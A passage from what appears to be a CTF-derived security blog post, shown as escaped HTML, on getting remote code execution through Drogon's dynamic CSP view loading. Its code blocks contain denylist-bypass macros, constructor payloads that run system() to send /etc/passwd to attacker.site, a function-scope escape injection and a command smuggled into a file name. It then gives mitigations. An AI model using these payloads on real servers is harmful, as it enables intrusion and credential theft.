&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;GLUE2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;var&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// int var_literally = 1;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The second feature allows us to bypass denylists which only match full words.&lt;/p&gt;
&lt;p&gt;For instance, if a denylist blocks &lt;code&gt;system&lt;/code&gt;, we can do &lt;code&gt;GLUE(s, ystem)&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc #define &lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; X ## Y &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ystem&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;3-rce-via-init-section&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#3-rce-via-init-section&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 3. RCE via Init Section&lt;/h3&gt;
&lt;p&gt;The previous tricks use &lt;code&gt;&amp;lt;%c++&lt;/code&gt; which only executes when the view is rendered. But what if I told you we can execute code &lt;em&gt;without even rendering the view&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;That&#39;s right, all we need is to load the .so to execute code!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Code can be executed right after loading the .so binary.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-457w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-457w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 457 / 564&quot; alt=&quot;Code can be executed right after loading the .so binary.&quot; title=&quot;Code can be executed right after loading the .so binary.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init-457w.webp 457w&quot; sizes=&quot;(max-width: 256px) 256px, 457px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Using &lt;code&gt;&amp;lt;%c++&lt;/code&gt; will execute code when &amp;quot;View is Rendered&amp;quot;, but by strategically placing code in the &lt;code&gt;.init&lt;/code&gt; section of the binary, we can get code to execute right after loading the .so!&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Let&#39;s look at a few examples of how we can achieve this tomfoolery.&lt;/p&gt;
&lt;h4 id=&quot;init-section-via-inc&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#init-section-via-inc&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Init Section via &lt;code&gt;&amp;lt;%inc&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;There are various ways to run code prior to &lt;code&gt;main()&lt;/code&gt;. We can make use of the fact that &lt;code&gt;&amp;lt;%inc&lt;/code&gt; places code in file scope.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token comment&quot;&gt;// 1. Assign variable with function call.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 2. To run more code, we can create a function first.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 3. GCC attributes - gets called automatically.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;When compiled, all of this is placed in the &lt;code&gt;.init_array&lt;/code&gt; section, which allows multiple function pointers to be called during initialisation.&lt;/p&gt;
&lt;h4 id=&quot;escaping-function-scope-with-c-and&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#escaping-function-scope-with-c-and&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Escaping Function Scope with &lt;code&gt;&amp;lt;%c++&lt;/code&gt; and &lt;code&gt;[[&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Blocking &lt;code&gt;&amp;lt;%inc&lt;/code&gt; is not enough. Even with &lt;code&gt;&amp;lt;%c++&lt;/code&gt; and &lt;code&gt;[[&lt;/code&gt;, it is possible to escape function scope and insert a function in the top-level. This is partly by-design, so that like PHP, we can use C++ if-statements and for-loops to dynamically generate HTML. But we can also abuse this to escape the &lt;code&gt;genText()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;We demonstrate this with the following CSP:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; 
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; 
&lt;span class=&quot;token function&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;injected&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token function&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;and here&#39;s the generated C++:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Boilerplate: includes...&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token class-name&quot;&gt;Example&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;genText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; 
&lt;span class=&quot;token function&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;constructor&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;injected&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token function&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Boilerplate: convert stream to string and return....&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.cc&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The same idea goes for variable markup &lt;code&gt;[[...]]&lt;/code&gt;, the only difference being whitespace is not allowed.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hi &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;name&lt;span class=&quot;token string&quot;&gt;&quot;];}}__attribute__((constructor))void/**/injected(){system(&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;);}std::string/**/dummy(const/**/DrTemplateData&amp;amp;data){drogon::OStringStream/**/Example_tmp_stream;std::string/**/layoutName{&quot;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;};{auto&amp;amp;val=data[&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Likewise for &lt;code&gt;&amp;lt;%layout&lt;/code&gt; and &lt;code&gt;&amp;lt;%view&lt;/code&gt;. (Left as an exercise for the reader.)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Thought that was the worst we could do? It gets worse.&lt;/p&gt;
&lt;h3 id=&quot;4-rce-via-file-name&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#4-rce-via-file-name&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 4. RCE via File Name&lt;/h3&gt;
&lt;p&gt;Remember how Drogon runs &lt;code&gt;drogon_ctl&lt;/code&gt; to convert .csp files to .cc files? Guess how this command is run.&lt;/p&gt;
&lt;p&gt;That’s right, &lt;code&gt;system()&lt;/code&gt; is &lt;a href=&quot;https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/lib/src/SharedLibManager.cc#L169&quot;&gt;called&lt;/a&gt;. And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Malicious code can be executed when `drogon_ctl` is run using the filename.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-549w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-549w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 549 / 564&quot; alt=&quot;Malicious code can be executed when `drogon_ctl` is run using the filename.&quot; title=&quot;Malicious code can be executed when `drogon_ctl` is run using the filename.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-549w.webp 549w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 549px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named &lt;code&gt;foo$(curl attacker.site/abcd)&lt;/code&gt; will be treated as a folder (&lt;code&gt;foo$(curl attacker.site/&lt;/code&gt;) + a file (&lt;code&gt;abcd)&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id=&quot;takeaways-and-mitigations&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#takeaways-and-mitigations&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Takeaways and Mitigations&lt;/h2&gt;
&lt;p&gt;Although this was meant for a couple fun 48-hour CTF challenges, it feels appropriate to close with some tips on defence.&lt;/p&gt;
&lt;p&gt;So what did we learn?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Drogon, at the moment, does not sandbox or properly sanitise CSP content.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; This is by design, since CSPs inherently contain trusted content.&lt;/li&gt;
&lt;li&gt;There are three main ways to achieve RCE on a DVL-enabled Drogon server. And this comes with the prerequisite of file-write privileges.
&lt;ol&gt;
&lt;li&gt;RCE via Rendered CSP&lt;/li&gt;
&lt;li&gt;RCE via Init Section&lt;/li&gt;
&lt;li&gt;RCE via File Name&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Denylists need to consider a wide range of bypass methods.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And mitigations?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Don&#39;t enable Dynamic Views Loading, unless you&#39;re in a local dev environment. Switch off DVL after using.&lt;/li&gt;
&lt;li&gt;Don&#39;t allow untrusted input to be compiled and loaded as views; statically or dynamically.&lt;/li&gt;
&lt;li&gt;Protecc your dynamic views directory. Don&#39;t allow untrusted files to be written there.
&lt;ul&gt;
&lt;li&gt;It doesn&#39;t matter if the view will be rendered in application code, because — &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#4-rce-via-file-name&quot;&gt;as we discovered earlier&lt;/a&gt; — once &lt;code&gt;drogon_ctl&lt;/code&gt; is run, an RCE endpoint is already exposed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
&lt;ul&gt;
&lt;li&gt;If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it&#39;s too late: Drogon kicks in and devours the CSP.
&lt;a class=&quot;lightbox-single&quot; title=&quot;Defensive filtering, if any, should occur before CSP files are written.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-549w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-549w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 549 / 564&quot; alt=&quot;Defensive filtering, if any, should occur before CSP files are written.&quot; title=&quot;Defensive filtering, if any, should occur before CSP files are written.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-549w.webp 549w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 549px&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p class=&quot;caption&quot;&gt;
 &lt;sup&gt;Defensive filtering, if any, should occur before CSP files are written.&lt;/sup&gt;
 &lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do I expect the RCE issues to be fixed? Considering the purpose of DVLs... probably not. Judging by the maintainer&#39;s stance, DVLs are purely meant for development:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Note: This feature is best used to adjust the HTML page during the development phase. In the production environment, it is recommended to compile the csp file directly into the target file. This is mainly for security and stability.&lt;/em&gt; (&lt;a href=&quot;https://github.com/drogonframework/drogon/wiki/ENG-06-View#Dynamic-compilation-and-loading-of-views:~:text=This%20feature%20is%20best%20used%20to%20adjust%20the%20HTML%20page%20during%20the%20development%20phase.&quot;&gt;Source&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;Although Dynamic Views Loading (DVL) seems appealing for implementing features such as user-generated content or dynamically adding plugins, DVL is a dangerous liability if left in the open. In this post, we&#39;ve demonstrated multiple ways to exploit DVL, given file-write privileges. DVL is ill-suited for production-use and should only be used for its intended purpose — local testing in development environments.&lt;/p&gt;
